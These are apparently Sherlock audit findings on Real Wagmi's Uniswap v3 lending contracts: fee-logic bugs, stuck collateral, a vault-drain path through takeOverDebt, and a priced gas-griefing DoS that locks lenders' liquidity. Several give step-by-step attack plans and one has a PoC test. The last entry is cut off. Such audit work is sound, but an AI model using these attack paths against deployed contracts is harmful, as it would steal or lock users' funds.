+{"title":"Lender is stuck as long a borrower is willing to pay","severity":"medium","body":"Rough Pearl Wombat\n\nmedium\n\n# Lender is stuck as long a borrower is willing to pay\n## Summary\n\nWagmi allows lenders to lend their Uniswap v3 LPs to borrowers against a daily fee. If a borrower stops paying the daily fee then the positon can be liquidated or lenders can do an emergency liquidity restoration and get their liquidity back.\n\nThe current architecture doesn't have any loan duration limit. This means that as long as a borrower is willing to pay a fee he can keep borrowing the tokens from the lender.\n\nThe lender does not receive the fees until the position has been closed or is in default of collateral that allow him to do an emergency liquidity restoration by calling [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) with `isEmergency = true`.\n\n## Vulnerability Detail\n\nThis is in itselft not a vulnerability but an architecture issue as there is no way for a lender to know how long his tokens are gonna be borrowed for.\n\nWhile in most of the case it will probably be a few days to a few months, this could potentially be way more especially if the borrower decides to go rogue and is not looking to make profit but just DOS the lender.\n\nTake this example:\n\nIf a borrower borrows 500 USDC at 0.1% daily rate (default value). He can hold the position for a year, costing him 36.5% of the position in collateral to pay.\n\nIf he decides to go rogue and use all his money to deny lender withdrawal as long as possible he can just keep paying 36.5% of collateral every year.\n\nOther lending market usually allow one of these features:\n\n- Fixed duration for the loan.\n- Allow new lenders to come and add liquidity so previous lenders can withdraw (ex: AAVE, COMPOUND).\n- High increase in rate after a certain time, increasing so much that it's unlikely a borrower can sustain such position.\n\n## Impact\n\nInfo to medium. While this look more like an architecture choice than a vulnerability, Sherlock rules consider a DOS if the period of locked funds goes above 1 year. In our case it could be multiple years and no way to predict the duration.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding a maximum duration for a loan before it can go into liquidation or increase the daily rate significantly after a certain duration.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//035-M/100-best.md"}} +{"title":"Borrowers that borrow from certain positions can get leverage without paying collateral due to inaccurate borrowingCollateral calculations","severity":"medium","body":"Dandy Taupe Barracuda\n\nhigh\n\n# Borrowers that borrow from certain positions can get leverage without paying collateral due to inaccurate borrowingCollateral calculations\n## Summary\nDuring borrowing, a borrower has to pay some collateral in holdToken plus deposit for holding a position for 24 hours. However, if the uniswap position is above the current tick for token0 (or below it for token1) the borrower would pay 0 `borrowingCollateral`.\n## Vulnerability Detail\nThe vulnerable line in question:\n```solidity\nuint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n```\n`cache.borrowedAmount` is the amount of token0 or token1 calculated in `_getSingleSideRoundUpBorrowedAmount()` function based on the provided liquidity and `zeroForSaleTokenFlag`. After that calculation, the liquidity is pulled from the uniswap position in call to `_decreasePostion()` and is sent to the `LiquidityBorrowingManager` contract. Then, the `borrow()` function continues to check how many borrowTokens and saleTokens were transferred from the position by checking contract's balances\n```solidity\n// Get the balance of the sale token and hold token in the pair\n        (saleTokenBalance, cache.holdTokenBalance) = _getPairBalance(\n            params.saleToken,\n            params.holdToken\n        );\n```\nAnd if `saleTokenBalance > 0`, the saleToken is swapped through the external swap function or through uniswap. The amount swapped is then added to `cache.holdTokenBalance`.\n\nNow, suppose there are no saleTokens that were pulled from LP (meaning that the position is above the current tick if the borrowToken is token0). It means that `cache.holdTokenBalance == cache.borrowedAmount` and the `borrowingCollateral == 0`. Since it is the amount the borrower should pay if he decides to borrow, he can receive almost free leverage (he only needs to pay the liquidationBonus and the deposit for holding a position for 24 hours).\n```solidity\n _pay(\n params.holdToken,\n msg.sender,\n VAULT_ADDRESS,\n borrowingCollateral + liquidationBonus + cache.dailyRateCollateral + feesDebt //@audit\n );\n```\n## Impact\nGetting an almost collateral-free leverage is in contradiction with what expected by the team and breaks the whole point of leverage trading.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L848-L853\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L201-L209\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L116\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L349\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L869-L896\n## Tool used\n\nManual Review\n\n## Recommendation\nIf the `borrowingCollateral` turns out to be 0, ensure that some minimum amount of collateral is paid by the borrower. It can be a percent of the `borrowedAmount`.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//034-M/081-best.md"}} +{"title":"Wrong check in `repay()` makes borrower loose its `dailyCollateral` if closing position quickly after opening it.","severity":"medium","body":"Rough Pearl Wombat\n\nmedium\n\n# Wrong check in `repay()` makes borrower loose its `dailyCollateral` if closing position quickly after opening it.\n## Summary\n\nIn the [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) function of the LiquidityBorrowingManager contract, there is a check that verifies that the borrower's `dailyCollateralBalance` left after fees are applied is above 0 and that we paid more than the minimum amount of fees.\n\nIf so then it adds the `dailyCollateralBalance` to the tokens that we will receive when closing our position.\n\nBut in the case of the fees paid not being above the minimum it will not add it to the tokens we should receive and will count it as fees owned to the lenders. Making the borrower paying more fees than he should for no apparent reason as the amount will be way more than the minimum.\n\n## Vulnerability Detail\n\nIn the [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) there is a check [line 567](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L567) that makes sure the borrower paid more than `MINIMUM_AMOUNT` but this check shouldn't be the condition to add `dailyCollateralBalance` to `liquidationBonus`.\n\nIf a borrower borrows and then tries to repay his position before the minimum amount of fees is met, he will loose the whole `dailyCollateralBalance` that will be considered as fees although it could be way more than `MINIMUM_AMOUNT`.\n\nTake this example:\n\n- User borrows 100 usdc (hold token) to short USDC-ETH LP on Polygon network.\n- After 5 minutes he decides that afterall he doesn't want to short this position anymore and so call `repay()`.\n\nThe USDC token decimals is 6 so 100 usdc -> 100 * 1e6 <=> 100,000,000.\nThe `MINIMUM_AMOUNT` is currently set to 1000 in the [Constant library](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/libraries/Constants.sol).\nLet's say the current USDC rate is set to `DEFAULT_DAILY_RATE` which is 10 (0.1%).\n\nThis means that the current daily fees is 0.1 USDC/day.\nWith decimals and in second that's 100,000 / (3600 * 24) ~= 1.157 wei per second.\nSo if only 5min went by that means the borrower's debt is 1.157 * (5 * 60) = 347.2.\n\n- When repaying the check on fee to pay being more than `MINIMUM_AMOUNT` return false and so `dailyCollateral` is kept.\n- User looses 0.1 usdc instead of 347 wei of USDC or even `MINIMUM_AMOUNT` wei of USDC.\n\nThis situation can be way worse and apply to any token and amount if the borrowing and repayment happen in the same block or just few seconds interval.\n\nConsider this POC that can be copied and pasted in the test files (replace all tests and just keep the setup & NFT creation):\n\n```js\nit(\"Borrow then repay instantly loosing dailyCollateral\", async () => {\n const amountWBTC = ethers.utils.parseUnits(\"0.05\", 8); //token0\n const deadline = (await time.latest()) + 60;\n const minLeverageDesired = 50;\n const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);\n\n const loans = [\n {\n liquidity: nftpos[3].liquidity,\n tokenId: nftpos[3].tokenId,\n },\n ];\n\n const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n\n const borrowParams = {\n internalSwapPoolfee: 500,\n saleToken: WETH_ADDRESS,\n holdToken: WBTC_ADDRESS,\n minHoldTokenOut: amountWBTC,\n maxCollateral: maxCollateralWBTC,\n externalSwap: swapParams,\n loans: loans,\n };\n\n //borrow tokens\n await borrowingManager.connect(bob).borrow(borrowParams, deadline);\n\n const borrowingKey = await borrowingManager.userBorrowingKeys(bob.address, 0);\n\n let repayParams = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //1%\n };\n\n const WBTC: IERC20 = await ethers.getContractAt(\"IERC20\", WBTC_ADDRESS);\n const prevBalance = await WBTC.balanceOf(bob.address);\n\n //query amount of collateral available\n const borrowingsInfo = await borrowingManager.borrowingsInfo(borrowingKey);\n const dailyCollateral = borrowingsInfo.dailyRateCollateralBalance.div(COLLATERAL_BALANCE_PRECISION);\n const liquidationBonus = borrowingsInfo.liquidationBonus;\n //should be more than 0\n expect(dailyCollateral).to.be.gt(0);\n expect(liquidationBonus).to.be.gt(0);\n\n //BOB repay his loan but loose his dailyCollateral even tho it hasn't been a day\n await borrowingManager.connect(bob).repay(repayParams, deadline);\n\n const newBalance = await WBTC.balanceOf(bob.address);\n\n //We only got liquidation bonus back and not the dailyCollateral\n expect(newBalance).to.be.equal(prevBalance.add(liquidationBonus));\n });\n```\n\n## Impact\n\nMedium. When borrowing and repaying quickly after, the borrower loose his collateral.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIf what we want to achieve here is making sure that a minimum amount of fee is paid then consider doing this in a different `if`.\n\n```solidity\nif ((currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION < Constants.MINIMUM_AMOUNT) {\n uint256 missingFees = Constants.MINIMUM_AMOUNT - (currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION;\n collateralBalance -= missingFees;\n currentFees += missingsFees;\n}\nif (collateralBalance > 0) {\n liquidationBonus += uint256(collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION;\n} else {\n currentFees = borrowing.dailyRateCollateralBalance;\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//033-M/052-best.md"}} +{"title":"Platform fees is counted twice when takingOverDebt","severity":"medium","body":"Restless Ocean Chipmunk\n\nmedium\n\n# Platform fees is counted twice when takingOverDebt\n## Summary\n\nPlatform fees is counted from the old borrow when a user takes over the debt. The fees is counted again when the user initializes a new borrow.\n\n## Vulnerability Detail\n\nWhen calling `takeOverDebt()`, `_pickUpPlatformFees()` is called and appended to the platformsFeesInfo mapping. Then, when `_initOrUpdateBorrowing()` is called in `takeOverDebt()`, `_pickUpPlatformFees()` is called again. The user that takes over the debt has to pay for the platform fees twice, and the original borrower does not have to pay for any platform fees. \n\n```solidity\n currentFees = _pickUpPlatformFees(oldBorrowing.holdToken, currentFees);\n oldBorrowing.feesOwed += currentFees;\n```\n\n```solidity\n // Pick up platform fees from the hold token's current fees\n currentFees = _pickUpPlatformFees(holdToken, currentFees);\n // Increment the fees owed in the borrowing position\n borrowing.feesOwed += currentFees;\n```\n\n## Impact\n\nThe person that takes over the borrow has to pay the platform fees twice.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L944-L947\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`_pickUpPlatformFees()` do not need to be called in `takeOverDebt()`, since `_initOrUpdateBorrowing()` already calls the fees.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//032-M/056-best.md"}} +{"title":"Drain vault through abuse of `takeOverDebt` function","severity":"major","body":"Big Eggshell Mink\n\nhigh\n\n# Drain vault through abuse of `takeOverDebt` function\n## Summary\n\nThe `takeOverDebt` function incorrectly increases `newBorrowing.dailyRateCollateralBalance`, which allows a malicious attacker to drain specific `holdToken` funds from the vault. \n\n## Vulnerability Detail\n\nIn `takeOverDebt` in LiquidityBorrowingManager.sol, we increase the `newBorrowing.dailyRateCollateralBalance` by:\n\n```solidity\nnewBorrowing.dailyRateCollateralBalance +=\n (collateralAmt - minPayment) *\n Constants.COLLATERAL_BALANCE_PRECISION;\n```\n\nHowever, this is incorrect. `minPayment` here is the amount that the old position was underwater: `minPayment = (uint256(-collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION) + 1;`. \n\nI believe the reason that the devs increased the `newBorrowing.dailyRateCollateralBalance` by `(collateralAmt - minPayment)` is because they believed that the new borrower would be forced to send the amount the old position was underwater to the vault (i.e. in this line):\n\n`_pay(oldBorrowing.holdToken, msg.sender, VAULT_ADDRESS, collateralAmt + feesDebt);`\n\nHowever, this is actually incorrect:\n\n```solidity\n (\n uint256 feesDebt,\n bytes32 newBorrowingKey,\n BorrowingInfo storage newBorrowing\n ) = _initOrUpdateBorrowing(\n oldBorrowing.saleToken,\n oldBorrowing.holdToken,\n accLoanRatePerSeconds\n );\n```\n\n`feesDebt` here is the amount that the NEW position is underwater (i.e. the one just created by the new borrower), which is likely 0 if this is the new borrower's first borrow for that saleToken/holdToken. This is because `_initOrUpdateBorrowing` relies on `msg.sender` to compute the borrowing key, from which it pulls the data used to calculate the `feesDebt`: `borrowingKey = Keys.computeBorrowingKey(msg.sender, saleToken, holdToken);`. \n\nSo, we are increasing `newBorrowing.dailyRateCollateralBalance` by `-minPayment` but not actually sending `-minPayment` tokens over to the vault, which is quite bad. Note that this `newBorrowing.dailyRateCollateralBalance` influences the amount that the user is paid when `repay` is called, so this essentially means that they will get around `-minPayment` extra tokens when `repay` is called (to be extremely precise, perhaps minus some small fee). \n\nNow let's see how to exploit this. \n\nFirst, a malicious user borrows around $200 worth of some hold token (exact sale / hold token don't really matter) and lets it just sit there over time. On mainnet, gas fees are pretty high, so even when this goes underwater we won't really see liquidations (default liquidation bonus is max of 0.69%, which will be very low, and the min liquidation bonus). It's possible that high min liquidation bonuses will be set for most of the set of hold tokens, but the contracts allow `holdTokens` where the min liquidation bonus is not set (in that case it just uses `Constants.MINIMUM_AMOUNT` as the min liquidation bonus which is a really low value). This attack pertains to `holdTokens` where the min liquidation bonus is not set to an extremely high value. Eventually, the user's $200 borrow will go very underwater (let's say **$50** underwater after a few months). The malicious user can then take over the loans with `takeOverDebt`, which will grant them an extra **$50** when they call `repay` because of the vulnerability we described. There's one problem though -- the malicious user who takes over the debt still has to pay the fees, which might land them in the net negative. The trick to bypass this is to just become the creditor -- when the malicious user initially takes out the borrow, they will take out the borrow from their own V3 LP position (so they are the creditor). They will then get back 80% of the fees while 20% will go to the protocol, so their profit margin here is still 80% of the amount the position goes underwater, which can still be quite high past gas fees.\n\nNote that this procedure can be repeated as many times as the malicious user wants until all the hold token is drained from the vault. \n\n## Impact\n\nWe can drain funds from the vault, but only of specific `holdTokens` where min liquidation bonus is not set to an extremely high amount. Also, anyone who calls `takeOverDebt` (even non maliciously) will get more `holdToken` funds than they deserve. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395-L453\n\n## Tool used\n\nManual Review\n\n## Recommendation\nJust calculate `feesDebt` correctly above for the old borrower, instead of for the new borrower. Or just use `-minPayment` instead of `feesDebt` all together.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//031-H/142-best.md"}} +{"title":"Price changes after borrowing or slippage during borrowing can cause non-emergency repay() to revert","severity":"medium","body":"High Chartreuse Hedgehog\n\nmedium\n\n# Price changes after borrowing or slippage during borrowing can cause non-emergency repay() to revert\n## Summary\nPrice changes after borrowing or slippage during borrowing can cause non-emergency repay() to revert. Lenders are forced to use emergency liquidation; borrowers have to use a non-obvious workaround to fix the issue since they cannot do emergency repays, and they will have to pay more fees until they figure out how to get their collateral un-stuck.\n## Vulnerability Detail\nThe Uniswap liquidity borrowed is stored in the `LoanInfo` struct to restore the loaner's liquidity when `repay()` is called to close/liquidate a position. When non-emergency `repay()` is called, an error will be thrown if the restored liquidity is less than the liquidity stored in the `LoanInfo`. See below:\n```solidity\n//BELOW CODE IS FROM THE _increaseLiquidity() FUNCTION, WHICH IS CALLED BY repay() DURING NON EMERGENCY CALLS\n // Check if the restored liquidity is less than the loan liquidity amount\n // If true, revert with InvalidRestoredLiquidity exception\n if (restoredLiquidity < loan.liquidity) {\n ...\n revert InvalidRestoredLiquidity(\n```\nThis protects the loaner, but the problem is that the original liquidity amount is set by the borrower and is equal to the liquidity reduced from the loaner's position, which does not account for slippage or price changes.\n```solidity\n /**\n * @dev Decreases the liquidity of a position by removing tokens. CALLED BY _extractLiquidity()\n * @param tokenId The ID of the position token.\n * @param liquidity The amount of liquidity to be removed. THIS VALUE IS SET BY THE BORROWER\n */\n function _decreaseLiquidity(uint256 tokenId, uint128 liquidity) private {\n // Call the decreaseLiquidity function of underlyingPositionManager contract\n // with DecreaseLiquidityParams struct as argument\n (uint256 amount0, uint256 amount1) = underlyingPositionManager.decreaseLiquidity(\n INonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n```\nSo if the liquidity restored during repayment is smaller due to price changes or borrow slippage, `repay()` will revert. Example:\n1. Loaner's position is 10 `saleTokens` to 10 `holdTokens`. The price ratio of the tokens is 1:1.\n2. Borrower calls `borrow()` to open a position, taking all the loaner's liquidity. Uniswap liquidity is calculated as $L=\\sqrt{x*y}$, so the liquidity here is $\\sqrt{100}$.\n3. All the `saleTokens` are swapped to `holdTokens`, so the balance of the loan is now 20 `holdTokens`.\n4. The price ratio of the pool changes over time to 1 `saleToken` to 2 `holdTokens`. $\\sqrt{100}$ liquidity is now approx. equal to a LP position of 7 `saleTokens` and 14 `holdTokens`.\n5. The borrower calls `repay()`, and 14 `holdTokens` are swapped for 7 `saleTokens` to prepare for restoring liquidity (liquidity should be provided at the current price/ratio). 6 `holdTokens` are left over.\n6. 7 `saleTokens` and only 6 `holdTokens` are restaked, so the liquidity restored is far below $\\sqrt{100}$. `InvalidRestoredLiquidity` error is thrown.\n## Impact\nThe borrower's collateral balance is used in the restoring liquidity swap, so the borrower could call `increaseCollateralBalance()` to enable repay() to work. However, there is a check in this function that prevents anyone who's not the borrower from increasing the borrower's collateral balance: `(borrowing.borrowedAmount == 0 || borrowing.borrower != address(msg.sender)).revertError( ErrLib.ErrorCode.INVALID_BORROWING_KEY );`. \n\nSo borrowers will have to call `increaseCollateralBalance()` (borrowers cannot do emergency liquidation) to get repay() to succeed. Loaners will be forced to use emergency liquidation for `repay()` to succeed, since they can't increase the borrower's collateral balance (emergency liquidation doesn't do swapping). The protocol's functionality is not working properly, and users will also lose gas from the reverted calls to `repay()`.\n\nThis is particularly an issue for borrowers, because the solution to this issue is not obvious, and there is no functionality in the protocol that makes clear how much the borrower needs to increase their collateral to successfully call `repay()`. Borrowers will have their collateral stuck in the contract until they figure out the workaround, and during that time their loan will be collecting extra fees, so they will have to pay extra fees.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L408-L425\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L344-L360\nhttps://uniswapv3book.com/docs/introduction/uniswap-v3/#the-mathematics-of-uniswap-v3\nhttps://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/providing-liquidity\n## Tool used\nManual Review\n## Recommendation\nAdd a transferFrom into `repay()` so that borrowers don't need to separately call `increaseCollateralBalance()` for `repay()` to succeed. If their collateral funds are not sufficient to restore liquidity, throw an error notifying them that they need to approve the contract for X amount of `holdToken` and have that amount in their balance.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//030-M/013-best.md"}} +{"title":"Borrower collateral that they are owed can get stuck in Vault and not sent back to them after calling `repay`","severity":"major","body":"Big Eggshell Mink\n\nhigh\n\n# Borrower collateral that they are owed can get stuck in Vault and not sent back to them after calling `repay`\n## Summary\n\nThere's a case where a borrower calls `borrow`, perhaps does a bunch of intermediate actions like calling `increaseCollateralBalance`, and then calls `repay` a short while later (so fees haven't had a time to increase), but the collateral they are owed is stuck in the `Vault` instead of being sent back to them after they repay. \n\n## Vulnerability Detail\n\nFirst, let's say that a borrower called `borrow` in `LiquidityBorrowingManager`. Then, they call increase `increaseCollateralBalance` with a large collateral amount. A short time later, they decide they want to repay so they call `repay`. \n\nIn `repay`, we have the following code:\n\n```solidity\n if (\n collateralBalance > 0 &&\n (currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION >\n Constants.MINIMUM_AMOUNT\n ) {\n liquidationBonus +=\n uint256(collateralBalance) /\n Constants.COLLATERAL_BALANCE_PRECISION;\n } else {\n currentFees = borrowing.dailyRateCollateralBalance;\n }\n```\n\nNotice that if we have `collateralBalance > 0` BUT `!((currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION >\n Constants.MINIMUM_AMOUNT)` (i.e. the first part of the if condition is fine but the second is not. It makes sense the second part is not fine because the borrower is repaying not long after they borrowed, so fees haven't had a long time to accumulate), then we will still go to `currentFees = borrowing.dailyRateCollateralBalance;` but we will not do:\n\n```solidity\n liquidationBonus +=\n uint256(collateralBalance) /\n Constants.COLLATERAL_BALANCE_PRECISION;\n```\n\nHowever, later on in the code, we have:\n\n```solidity\n Vault(VAULT_ADDRESS).transferToken(\n borrowing.holdToken,\n address(this),\n borrowing.borrowedAmount + liquidationBonus\n );\n``` \n\nSo, the borrower's collateral will actually not even be sent back to the LiquidityBorrowingManager from the Vault (since we never incremented `liquidationBonus`). We later do:\n\n```solidity\n _pay(borrowing.holdToken, address(this), msg.sender, holdTokenBalance);\n _pay(borrowing.saleToken, address(this), msg.sender, saleTokenBalance);\n```\n\nSo clearly the user will not receive their collateral back. \n\n## Impact\nUser's collateral will be stuck in Vault when it should be sent back to them. This could be a large amount of funds if for example `increaseCollateralBalance` is called first. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L565-L575\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L632-L670\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nYou should separate:\n\n```solidity\n if (\n collateralBalance > 0 &&\n (currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION >\n Constants.MINIMUM_AMOUNT\n ) {\n liquidationBonus +=\n uint256(collateralBalance) /\n Constants.COLLATERAL_BALANCE_PRECISION;\n } else {\n currentFees = borrowing.dailyRateCollateralBalance;\n }\n```\n\nInto two separate if statements. One should check if `collateralBalance > 0`, and if so, increment liquidationBonus. The other should check `(currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION >\n Constants.MINIMUM_AMOUNT` and if not, set `currentFees = borrowing.dailyRateCollateralBalance;`.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//029-H/122-best.md"}} +{"title":"DoS of lenders and gas griefing by packing tokenIdToBorrowingKeys arrays","severity":"medium","body":"High Chartreuse Hedgehog\n\nhigh\n\n# DoS of lenders and gas griefing by packing tokenIdToBorrowingKeys arrays\n## Summary\nIn `LiquidityBorrowingManager`, `tokenIdToBorrowingKeys` arrays can be packed to gas grief and cause DoS of specific loans for an arbitrary period of time.\n## Vulnerability Detail\n`LiquidityBorrowingManager.borrow()` calls the function `_addKeysAndLoansInfo()`, which adds user keys to the `tokenIdToBorrowingKeys` array of the borrowed-from LP position:\n```solidity\n function _addKeysAndLoansInfo(\n bool update,\n bytes32 borrowingKey,\n LoanInfo[] memory sourceLoans\n ) private {\n // Get the storage reference to the loans array for the borrowing key\n LoanInfo[] storage loans = loansInfo[borrowingKey];\n // Iterate through the sourceLoans array\n for (uint256 i; i < sourceLoans.length; ) {\n // Get the current loan from the sourceLoans array\n LoanInfo memory loan = sourceLoans[i];\n // Get the storage reference to the tokenIdLoansKeys array for the loan's token ID\n bytes32[] storage tokenIdLoansKeys = tokenIdToBorrowingKeys[loan.tokenId];\n // Conditionally add or push the borrowing key to the tokenIdLoansKeys array based on the 'update' flag\n update\n ? tokenIdLoansKeys.addKeyIfNotExists(borrowingKey)\n : tokenIdLoansKeys.push(borrowingKey);\n ...\n```\nA user key is calculated in the `Keys` library like so:\n```solidity\n function computeBorrowingKey(\n address borrower,\n address saleToken,\n address holdToken\n ) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(borrower, saleToken, holdToken));\n }\n```\nSo every time a new user borrows some amount from a LP token, a new `borrowKey` is added to the `tokenIdToBorrowingKeys[LP_Token_ID]` array. The problem is that this array is iterated through by calling iterating methods (`addKeyIfNotExists()` or `removeKey()`) in the `Keys` library when updating a borrow (as seen in the first code block). Furthermore, emergency repays call `removeKey()` in `_calculateEmergencyLoanClosure()`, non-emergency repays call `removeKey()` in `_removeKeysAndClearStorage()`, and `takeOverDebt()` calls `removeKey()` in `_removeKeysAndClearStorage()`. The result is that all exit/repay/liquidation methods must iterate through the array. Both of the iterating methods in the `Keys` library access storage to compare array values to the key passed as argument, so every key in the array before the argument key will increase the gas cost of the transaction by (more than) a cold `SLOAD`, which costs 2100 gas (https://eips.ethereum.org/EIPS/eip-2929). Library methods below:\n```solidity\n function addKeyIfNotExists(bytes32[] storage self, bytes32 key) internal {\n uint256 length = self.length;\n for (uint256 i; i < length; ) {\n if (self.unsafeAccess(i).value == key) {\n return;\n }\n unchecked {\n ++i;\n }\n }\n self.push(key);\n }\n\n function removeKey(bytes32[] storage self, bytes32 key) internal {\n uint256 length = self.length;\n for (uint256 i; i < length; ) {\n if (self.unsafeAccess(i).value == key) {\n self.unsafeAccess(i).value = self.unsafeAccess(length - 1).value;\n self.pop();\n break;\n }\n unchecked {\n ++i;\n }\n }\n }\n```\nLet's give an example to see the potential impact and cost of the attack:\n1. An LP provider authorizes the contract to give loans from their large position. Let's say USDC/WETH pool.\n2. The attacker sees this and takes out minimum borrows of USDC using different addresses to pack the position's `tokenIdToBorrowingKeys` array. In `Constants.sol`, `MINIMUM_BORROWED_AMOUNT = 100000` so the minimum borrow is $0.1 dollars since USDC has 6 decimal places. Add this to the estimated gas cost of the borrow transaction, let's say $3.9 dollars. The cost to add one key to the array is approx. $4. The max block gas limit on ethereum mainnet is `30,000,000`, so divide that by 2000 gas, the approximate gas increase for one key added to the array. The result is 15,000, therefore the attacker can spend 60000 dollars to make any new borrows from the LP position unable to be repaid, transferred, or liquidated. Any new borrow will be stuck in the contract.\n3. The attacker now takes out a high leverage borrow on the LP position, for example $20,000 in collateral for a $1,000,000 borrow. The attacker's total expenditure is now $80,000, and the $1,000,000 from the LP is now locked in the contract for an arbitrary period of time.\n4. The attacker calls `increaseCollateralBalance()` on all of the spam positions. Default daily rate is .1% (max 1%), so over a year the attacker must pay 36.5% of each spam borrow amount to avoid liquidation and shortening of the array. If the gas cost of increasing collateral is $0.5 dollars, and the attacker spends another $0.5 dollars to increase collateral for each spam borrow, then the attacker can spend $1 on each spam borrow and keep them safe from liquidation for over 10 years for a cost of $15,000 dollars. The total attack expenditure is now $95,000. The protocol cannot easily increase the rate to hurt the attacker, because that would increase the rate for all users in the USDC/WETH market. Furthermore, the cost of the attack will not increase that much even if the daily rate is increased to the max of 1%. The attacker does not need to increase the collateral balance of the $1,000,000 borrow since repaying that borrow is DoSed. \n6. The result is that $1,000,000 of the loaner's liquidity is locked in the contract for over 10 years for an attack cost of $95,000.\n## Impact\nArray packing causes users to spend more gas on loans of the affected LP token. User transactions may out-of-gas revert due to increased gas costs. An attacker can lock liquidity from LPs in the contract for arbitrary periods of time for asymmetric cost favoring the attacker. The LP will earn very little fees over the period of the DoS.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L100-L101\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L790-L826\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Keys.sol\n## Tool used\nManual 